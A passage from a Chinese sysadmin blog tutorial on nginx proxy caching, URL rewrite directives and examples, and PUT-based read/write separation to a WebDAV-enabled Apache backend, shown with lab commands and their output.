                   proxy_cache_valid 200 10m;
           }
    }

    3.新建缓存目录

    1
    [root@nginx ~]# mkdir -pv /data/nginx/cache/webserver

    4.重新加载一下配置文件

    1
    2
    3
    4
    [root@nginx webserver]# service nginx reload
    nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
    nginx: configuration file /etc/nginx/nginx.conf test is successful
    重新载入 nginx:                                           [确定]

    5.下面我们来测试一下(谷歌浏览器)

    t11

    注,大家用谷歌浏览器测试的时候,可以按F12调用开发工具,选择Network选项,我们可以看到,Response Headers,在这里我们可以看到,我们请求的是否是缓存,但现在还看不到,下面我们来配置一下,再来测试。

    6. 缓存变量说明

    $server_addr

    服务器地址,在完成一次系统调用后可以确定这个值,如果要绕开系统调用,则必须在listen中指定地址并且使用bind参数。

    $upstream_cache_status

    0.8.3版本中其值可能为:

    • MISS 未命中

    • EXPIRED - expired。请求被传送到后端。

    • UPDATING - expired。由于proxy/fastcgi_cache_use_stale正在更新,将使用旧的应答。

    • STALE - expired。由于proxy/fastcgi_cache_use_stale,后端将得到过期的应答。

    • HIT 命中

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    [root@nginx ~]# vim /etc/nginx/nginx.conf
    proxy_cache_path /data/nginx/cache/webserver levels=1:2 keys_zone=webserver:20m max_size=1g;
        server {
            listen       80;
            server_name  localhost;
            #charset koi8-r;
            #access_log  logs/host.access.log  main;
           #增加两头部
            add_header X-Via $server_addr;
            add_header X-Cache $upstream_cache_status;
            location / {
                    proxy_pass      http://webservers;
                    proxy_set_header  X-Real-IP  $remote_addr;
                    proxy_cache webserver;
                    proxy_cache_valid 200 10m;
            }
    }

    7.重新加载一下配置文件

    1
    2
    3
    4
    [root@nginx ~]# service nginx reload
    nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
    nginx: configuration file /etc/nginx/nginx.conf test is successful
    重新载入 nginx:                                           [确定]

    8.测试一下

    t12

    注,从图中我们可以看到,我们访问的服务器是192.168.18.208,缓存命中。大家可以看到是不是很直观啊。下面我们看一下缓存目录。

    9.查看一下缓存目录

    1
    2
    3
    [root@nginx ~]# cd /data/nginx/cache/webserver/f/63/
    [root@nginx 63]# ls
    681ad4c77694b65d61c9985553a2763f

    注,缓存目录里确实有缓存文件。好了,nginx缓存配置就到这边了,更多配置请根据需要看配置文档。下面我们来说一下,URL重写。

    七、Nginx之URL重写

    1.URL重写模块(Rewrite)

    摘要

    这个模块允许使用正则表达式重写URI(需PCRE库),并且可以根据相关变量重定向和选择不同的配置。如果这个指令在server字段中指定,那么将在被请求的location确定之前执行,如果在指令执行后所选择的location中有其他的重写规则,那么它们也被执行。如果在location中执行这个指令产生了新的URI,那么location又一次确定了新的URI。这样的循环可以最多执行10次,超过以后nginx将返回500错误。

    指令

    break

    语法:break  
    默认值:none  
    使用字段:server, location, if  
    完成当前设置的规则,停止执行其他的重写指令。  
    示例:

    1
    2
    3
    4
    if ($slow) {
      limit_rate  10k;
      break;
    }
    if

    语法:if (condition) { … }  
    默认值:none  
    使用字段:server, location  
    注意:在使用if指令之前请查看if is evil page并且尽量考虑用try_files代替。  
    判断一个条件,如果条件成立,则后面的大括号内的语句将执行,相关配置从上级继承。  
    可以在判断语句中指定下列值:

    • 一个变量的名称;不成立的值为:空字符传”“或者一些用“0”开始的字符串。

    • 一个使用=或者!=运算符的比较语句。

    • 使用符号~*和~模式匹配的正则表达式:

    • ~为区分大小写的匹配。

    • ~*不区分大小写的匹配(firefox匹配FireFox)。

    • !~和!~*意为“不匹配的”。

    • 使用-f和!-f检查一个文件是否存在。

    • 使用-d和!-d检查一个目录是否存在。

    • 使用-e和!-e检查一个文件,目录或者软链接是否存在。

    • 使用-x和!-x检查一个文件是否为可执行文件。

    正则表达式的一部分可以用圆括号,方便之后按照顺序用$1-$9来引用。  
    示例配置:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    if ($http_user_agent ~ MSIE) {
      rewrite  ^(.*)$  /msie/$1  break;
    }
                                                                                                                                                            
    if ($http_cookie ~* "id=([^;] +)(?:;|$)" ) {
      set  $id  $1;
    }
                                                                                                                                                            
    if ($request_method = POST ) {
      return 405;
    }
                                                                                                                                                            
    if (!-f $request_filename) {
      break;
      proxy_pass  http://127.0.0.1;
    }
                                                                                                                                                            
    if ($slow) {
      limit_rate  10k;
    }
                                                                                                                                                            
    if ($invalid_referer) {
      return   403;
    }
                                                                                                                                                            
    if ($args ~ post=140){
      rewrite ^ http://example.com/ permanent;
    }

    内置变量$invalid_referer用指令valid_referers指定。

    return

    语法:return code  
    默认值:none  
    使用字段:server, location, if  
    这个指令结束执行配置语句并为客户端返回状态代码,可以使用下列的值:204,400,402-406,408,410, 411, 413, 416与500-504。此外,非标准代码444将关闭连接并且不发送任何的头部。

    rewrite

    语法:rewrite regex replacement flag  
    默认值:none  
    使用字段:server, location, if  
    按照相关的正则表达式与字符串修改URI,指令按照在配置文件中出现的顺序执行。  
    可以在重写指令后面添加标记。  
    如果替换的字符串以http://开头,请求将被重定向,并且不再执行多余的rewrite指令。  
    尾部的标记(flag)可以是以下的值:

    • last - 完成重写指令,之后搜索相应的URI或location。

    • break - 完成重写指令。

    • redirect - 返回302临时重定向,如果替换字段用http://开头则被使用。

    • permanent - 返回301永久重定向。

    注意如果一个重定向是相对的(没有主机名部分),nginx将在重定向的过程中使用匹配server_name指令的“Host”头或者server_name指令指定的第一个名称,如果头不匹配或不存在,如果没有设置server_name,将使用本地主机名,如果你总是想让nginx使用“Host”头,可以在server_name使用“*”通配符(查看http核心模块中的server_name)。例如:

    1
    2
    3
    rewrite  ^(/download/.*)/media/(.*)\..*$  $1/mp3/$2.mp3  last;
    rewrite  ^(/download/.*)/audio/(.*)\..*$  $1/mp3/$2.ra   last;
    return   403;

    但是如果我们将其放入一个名为/download/的location中,则需要将last标记改为break,否则nginx将执行10次循环并返回500错误。

    1
    2
    3
    4
    5
    location /download/ {
      rewrite  ^(/download/.*)/media/(.*)\..*$  $1/mp3/$2.mp3  break;
      rewrite  ^(/download/.*)/audio/(.*)\..*$  $1/mp3/$2.ra   break;
      return   403;
    }

    如果替换字段中包含参数,那么其余的请求参数将附加到后面,为了防止附加,可以在最后一个字符后面跟一个问号:

    1
    rewrite  ^/users/(.*)$  /show?user=$1?  last;

    注意:大括号({和}),可以同时用在正则表达式和配置块中,为了防止冲突,正则表达式使用大括号需要用双引号(或者单引号)。例如要重写以下的URL:

    1
    /photos/123456

    为:

    1
    /path/to/photos/12/1234/123456.png

    则使用以下正则表达式(注意引号):

    1
    rewrite  "/photos/([0-9] {2})([0-9] {2})([0-9] {2})" /path/to/photos/$1/$1$2/$1$2$3.png;

    如果指定一个“?”在重写的结尾,Nginx将丢弃请求中的参数,即变量$args,当使用$request_uri$uri&$args时可以在rewrite结尾使用“?”以避免nginx处理两次参数串。  
    在rewrite中使用$request_uri将www.example.com重写到example.com:

    1
    2
    3
    4
    server {
       server_name www.example.com;
       rewrite ^ http://example.com$request_uri? permanent;
    }

    同样,重写只对路径进行操作,而不是参数,如果要重写一个带参数的URL,可以使用以下代替:

    1
    2
    3
    if ($args ^~ post=100){
      rewrite ^ http://example.com/new-address.html? permanent;
    }

    注意$args变量不会被编译,与location过程中的URI不同(参考http核心模块中的location)。

    rewrite_log

    语法:rewrite_log on | off  
    默认值:rewrite_log off  
    使用字段:server, location, if  
    变量:无  
    启用时将在error log中记录notice 标记的重写日志。

    set

    语法:set variable value  
    默认值:none  
    使用字段:server, location, if  
    指令设置一个变量并为其赋值,其值可以是文本,变量和它们的组合。  
    你可以使用set定义一个新的变量,但是不能使用set设置$http_xxx头部变量的值。

    uninitialized_variable_warn

    语法:uninitialized_variable_warn on|off  
    默认值:uninitialized_variable_warn on  
    使用字段:http, server, location, if  
    开启或关闭在未初始化变量中记录警告日志。  
    事实上,rewrite指令在配置文件加载时已经编译到内部代码中,在解释器产生请求时使用。  
    这个解释器是一个简单的堆栈虚拟机,如下列指令:

    1
    2
    3
    4
    5
    6
    7
    8
    location /download/ {
      if ($forbidden) {
        return   403;
      }
      if ($slow) {
        limit_rate  10k;
      }
      rewrite  ^/(download/.*)/media/(.*)\..*$  /$1/mp3/$2.mp3  break;

    将被编译成以下顺序:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    variable $forbidden
    checking to zero
    recovery 403
    completion of entire code
    variable $slow
    checking to zero
    checkings of regular excodession
    copying "/"
    copying $1
    copying "/mp3/"
    copying $2
    copying ".mp3"
    completion of regular excodession
    completion of entire sequence

    注意并没有关于limit_rate的代码,因为它没有提及ngx_http_rewrite_module模块,“if”块可以类似”location”指令在配置文件的相同部分同时存在。  
    如果$slow为真,对应的if块将生效,在这个配置中limit_rate的值为10k。  
    指令:

    1
    rewrite  ^/(download/.*)/media/(.*)\..*$  /$1/mp3/$2.mp3  break;

    如果我们将第一个斜杠括入圆括号,则可以减少执行顺序:

    1
    rewrite  ^(/download/.*)/media/(.*)\..*$  $1/mp3/$2.mp3  break;

    之后的顺序类似如下:

    1
    2
    3
    4
    5
    6
    7
    checking regular excodession
    copying $1
    copying "/mp3/"
    copying $2
    copying ".mp3"
    completion of regular excodession
    completion of entire code
    2.简单案例
    注,由于配置文件内容较多,为了让大家看着方便,我们备份一下配置文件,打开一个新的配置文件。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    [root@nginx ~]# cd /etc/nginx/
    [root@nginx nginx]# mv nginx.conf nginx.conf.proxy
    [root@nginx nginx]# cp nginx.conf.bak nginx.conf
    [root@nginx nginx]# vim /etc/nginx/nginx.conf
    server {
          listen       80;
          server_name  localhost;
          #charset koi8-r;
          #access_log  logs/host.access.log  main;
          location / {
              root   html;
              index  index.html index.htm;
              rewrite ^/bbs/(.*)$ http://192.168.18.201/forum/$1;
          }
    }
    准备forum目录与测试文件
    1
    2
    3
    4
    5
    6
    7
    [root@web1 ~]# cd /var/www/html/
    [root@web1 html]# ls
    index.html
    [root@web1 html]# mkdir forum
    [root@web1 html]# cd forum/
    [root@web1 forum]# vim index.html
    <h1>forum page!</h1>

    测试一下

    t13

    好了,下面我们来测试一下rewrite重写。

    3.重新加载一下配置文件
    1
    2
    3
    4
    [root@nginx 63]# service nginx reload
    nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
    nginx: configuration file /etc/nginx/nginx.conf test is successful
    重新载入 nginx:                                           [确定]

    4.测试一下

    t14

    注,大家可以从图中看出,status code 302指的是临时重定向,那就说明我们rewrite重写配置成功。大家知道302是临时重定向而301是永久重定向,那么怎么实现永久重定向呢。一般服务器与服务器之间是临时重定向,服务器内部是永久重定向。下面我们来演示一下永久重定向。

    5.配置永久重定向

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    [root@nginx nginx]# vim /etc/nginx/nginx.conf
    server {
            listen       80;
            server_name  localhost;
            #charset koi8-r;
            #access_log  logs/host.access.log  main;
            location / {
                root   html;
                index  index.html index.htm;
                rewrite ^/bbs/(.*)$ /forum/$1;
            }
    }
    准备forum目录与测试文件
    1
    2
    3
    4
    5
    6
    7
    [root@nginx ~]# cd /usr/html/
    [root@nginx html]# ls
    50x.html  index.html
    [root@nginx html]# mkdir forum
    [root@nginx html]# cd forum/
    [root@nginx forum]# vim index.html
    <h1>192.168.18.208 forum page</h1>

    6.重新加载一下配置文件

    1
    2
    3
    4
    [root@nginx ~]# service nginx reload
    nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
    nginx: configuration file /etc/nginx/nginx.conf test is successful
    重新载入 nginx:                                           [确定]

    7.测试一下

    t16

    注,大家从图中可以看到,我们访问bbs/是直接帮我们跳转到forum/下,这种本机的跳转就是永久重定向也叫隐式重定向。好了,rewrite重定向我们就说到这里了,想要查询更多关于重定向的指令请参考官方文档。最后,我们来说一下读写分离。

    八、Nginx之读写分离

    1.实验拓扑

    nginx3

           需求分析,前端一台nginx做负载均衡反向代理,后面两台httpd服务器。整个架构是提供BBS(论坛)服务,有一需求得实现读写分离,就是上传附件的功能,我们上传的附件只能上传到Web1,然后在Web1上利用rsync+inotify实现附件同步,大家都知道rsync+inotify只能是主向从同步,不能双向同步。所以Web1可进行写操作,而Web2只能进行读操作,这就带来读写分离的需求,下面我们就来说一下,读写分离怎么实现。

    2.WebDAV功能说明

           WebDAV (Web-based Distributed Authoring and Versioning) 一种基于 HTTP 1.1协议的通信协议。它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使应用程序可直接对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。这样我们就能配置读写分离功能了,下面我们来具体配置一下。

    3.修改配置文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    [root@nginx nginx]# vim /etc/nginx/nginx.conf
    server {
            listen       80;
            server_name  localhost;
            #charset koi8-r;
            #access_log  logs/host.access.log  main;
            location / {
                    proxy_pass http://192.168.18.202;
                    if ($request_method = "PUT"){
                            proxy_pass http://192.168.18.201;
                    }
            }
    }

    4.重新加载一下配置文件

    1
    2
    3
    4
    [root@nginx ~]# service nginx reload
    nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
    nginx: configuration file /etc/nginx/nginx.conf test is successful
    重新载入 nginx:                                           [确定]

    5.配置httpd的WebDAV功能

    1
    [root@web1 ~]# vim /etc/httpd/conf/httpd.conf

    t17

    注,在<Directory "/var/www/html">下启用就行。

    6.重新启动一下httpd

    1
    2
    3
    [root@web1 ~]# service httpd restart
    停止 httpd:                                               [确定]
    正在启动 httpd:                                           [确定]

    7.测试一下

    1
    2
    3
    4
    [root@nginx ~]# curl http://192.168.18.201
    <h1>web1.test.com</h1>
    [root@nginx ~]# curl http://192.168.18.202
    <h1>web2.test.com</h1>

    注,web1与web2访问都没问题。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    [root@nginx ~]# curl -T /etc/issue  http://192.168.18.202
    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html><head>
    <title>405 Method Not Allowed</title>
    </head><body>
    <h1>Method Not Allowed</h1>
    The requested method PUT is not allowed for the URL /issue.
    <hr>
    <address>Apache/2.2.15 (CentOS) Server at 192.168.18.202 Port 80</address>
    </body></html>

    注,我们上传文件到,web2上时,因为web2只人读功能,所以没有开户WebDAV功能,所以显示是405 Method Not Allowed。  

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    [root@nginx ~]# curl -T /etc/issue  http://192.168.18.201
    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html><head>
    <title>403 Forbidden</title>
    </head><body>
    <h1>Forbidden</h1>
    You don't have permission to access /issue
    on this server.
    <hr>
    <address>Apache/2.2.15 (CentOS) Server at 192.168.18.201 Port 80</address>
    </body></html>

    注,我们在Web1开启了WebDAV功能,但我们目录是root目录是不允许apache用户上传的,所以显示的是403 Forbidden。下面我们给apache授权,允许上传。

    1
    [root@web1 ~]# setfacl -m u:apache:rwx /var/www/html/

    下面我们再来测试一下,

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    [root@nginx ~]# curl -T /etc/issue  http://192.168.18.201
    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html><head>
    <title>201 Created</title>
    </head><body>
    <h1>Created</h1>
    Resource /issue has been created.
    <hr />
    <address>Apache/2.2.15 (CentOS) Server at 192.168.18.201 Port 80</address>
    </body></html>

    注,大家可以看到我们成功的上传了文件,说明nginx读写分离功能配置完成。最后,我们来查看一下上传的文件。

    1
    2
    3
    4
    5
    6
    [root@web1 ~]# cd /var/www/html/
    [root@web1 html]# ll
    总用量 12
    drwxr-xr-x 2 root   root   4096 9月   4 13:16 forum
    -rw-r--r-- 1 root   root     23 9月   3 23:37 index.html
    -rw-r--r-- 1 apache apache   47 9月   4 14:06 issue

    好了,到这里nginx的反向代理、负载均衡、页面缓存、URL重写及读写分离就全部讲解完成。希望大家有所收获,^_^……


    本文出自 “Share your knowledge …” 博客,请务必保留此出处http://freeloda.blog.51cto.com/2033581/1288553

    展开全文
  • 模式的秘密——代理模式

    千次阅读 2016-09-03 17:10:22
    模式的秘密——代理模式 一、代理模式的概念及分类 代理模式的概念:为其它对象提供一种代理,以控制对这个对象的访问。 分类:远程代理、智能引用代理、保护代理、虚拟代理。 远程代理:为不同地理的对象提供...
  • 代理ip,代理服务器等相关

    万次阅读 2012-08-22 12:08:10
    在计算机词汇中,代理的全称为代理服务器(Proxy Server),其功能就是代理网络用户去取得网络信息。  形象的说,它是网络信息的中转站。在一般情况下,我们使用网络浏览器直接去连接其它Internet站点取得网络...
  • 批处理启动和停止服务

    千次阅读 2019-01-04 09:47:57
    使用批处理设置、启动和停止服务  当电脑安装了数据库服务(如,Oracle、SQLServer)或一些web服务(如IIS,tomcat)时,系统会添加很多服务(services)项。而这些服务往往是占用很大的系统资源的。如果在平时不用...
  • 在博文《智能一代云平台(十五):Keepalived+Nginx实现高可用,反向代理---Nginx安装及配置》中介绍了Nginx的安装及相关配置的信息,由于篇幅原因不能用一篇博文描述完,这篇接着为大家分享其中的一个非常重要的...
  • 举两个插件的例子: DefaultStorageClass,为没有声明 storageClass 的 PVC 自动设置 storageClass ResourceQuota,校验 Pod 的资源使用是否超出了对应 Namespace 的 Quota 虽然说这是插件化的,但在 1.7 之前,所有...
  • IP代理常识

    万次阅读 2007-02-23 14:00:00
    在计算机词汇中,代理的全称为代理服务器(Proxy Server),其功能就是代理网络用户去取得网络信息。 形象的说,它是网络信息的中转站。在一般情况下,我们使用网络浏览器直接去连接其它Internet站点取得网络信息时...
  • docker 代理设置 docker pull

    万次阅读 2018-11-10 10:15:04
     在一些实验室环境,服务器没有直接连接外网的权限,需要通过网络代理。我们通常会将网络代理直接配置在/etc/environment、/etc/profile之类的配置文件中,这对于大部分操作都是可行的。然而,docker命令却使用不了...
  • 一、反向代理:Web服务器的“经纪人” 1.1 反向代理初印象  反向代理(Reverse Proxy)方式是指以代理服务器来接受internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给...
  • JAVA的反射机制与动态代理

    千次阅读 2014-11-16 10:58:55
    JAVA的反射机制与动态代理    运行时类型信息(RunTime Type Information,RTTI)使得你在程序运行时发现和使用类型 信息。RTTI主要用来运行时获取向上转型之后的对象到底是什么具体的类型。    1.Class...
  • 发现在手动调用偏移量contentoffset时,系统总会调用代理方法,因为我在代理方法里写了一下动画,结果会造成...声明属性: @property(nonatomic,assign)BOOL flag;   在需要手动设置偏移量的地方: self.flag = YE...
  • UIActivityIndicatorView--小菊花停止旋转

    千次阅读 2013-11-25 17:09:08
    这个小东西运用很广泛,只是原来学的时候只管...先声明一个 UIActivityIndicatorView *ActivityIndicatorView; 然后实现  ActivityIndicatorView = [[UIActivityIndicatorView alloc]initWithActivityIndicatorStyle
  • spring+hibernate声明式事务管理详解

    万次阅读 2013-08-26 17:17:17
    声明式事务管理是spring对事务管理的最常用的方式,因为这种方式对代码的影响最小,因此也符合非侵入性的轻量级容器的概念。Spring的事务管理是通过AOP的方式来实现的,因为...代理对象由元数据结合产生一个新的代理
  • Consul入门02 - 运行Consul代理

    千次阅读 2016-06-27 11:18:32
    在Consul安装完成后,必须先运行代理。该代理可以以服务器或者客户端模式运行。每个数据中心必须博阿含至少一个服务器,不过一个集群推荐3或5个服务器。一个单服务器的部署在失败的情况下会发生数据丢失因此不推荐...
  • 配置消息代理服务器-AmqpAdmin

    千次阅读 2014-11-17 18:55:22
    配置消息代理服务器-AmqpAdmin  AMQP规范描述了在消息代理中如何利用协议来配置队列,交换和绑定。这些操作可以使用org.springframework.amqp.core package中的AmqpAdmin接口来完成,这些操作从0.8版本规范到现在...
  • C#委托与代理模式

    千次阅读 热门讨论 2014-03-09 11:13:09
    尤其是在学完代理模式之后,就更不知道什么是什么了。下面分别看一下各自的实例,来看一下这两者有什么区别。  委托是一种引用方法的类型。一旦为委托分配了方法,委托将于该方法具有完全相同的行为。委托的方法...
  • 批准检查GitHub拉取请求。 Zappr是GitHub集成,旨在增强您的项目工作流程。 它由开放源代码爱好者构建,旨在帮助开发人员提高生产... 以上版权声明和此许可声明应包含在本软件的所有副本或大部分内容中。 本软件按
  • 声明式事务管理是spring对事务管理的最常用的方式,因为这种方式对代码的影响最小,因此也符合非侵入性的轻量级容器的概念。Spring的事务管理是通过AOP的方式来实现的,因为...代理对象由元数据结合产生一个新的代理
  • 基于反向代理的Web缓存加速 ——可缓存的CMS系统设计作者: 车东 Email: chedongATbigfoot.com/chedongATchedong.com写于:2003/05 最后更新: 02/22/2006 14:42:55内容摘要:对于一个日访问量达到百万级的网站来说...
  • 代理类和目标类的关系:代理类继承目标类,并重载了目标类的方法。 代理类重载方法体里加入了切面业务逻辑和目标类方法的调用。 用户如何使用:从容器中获取目标类,实际上是获取代理类的实例, 代理类实例调用...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 33,560
精华内容 13,424
关键字:

代理停止声明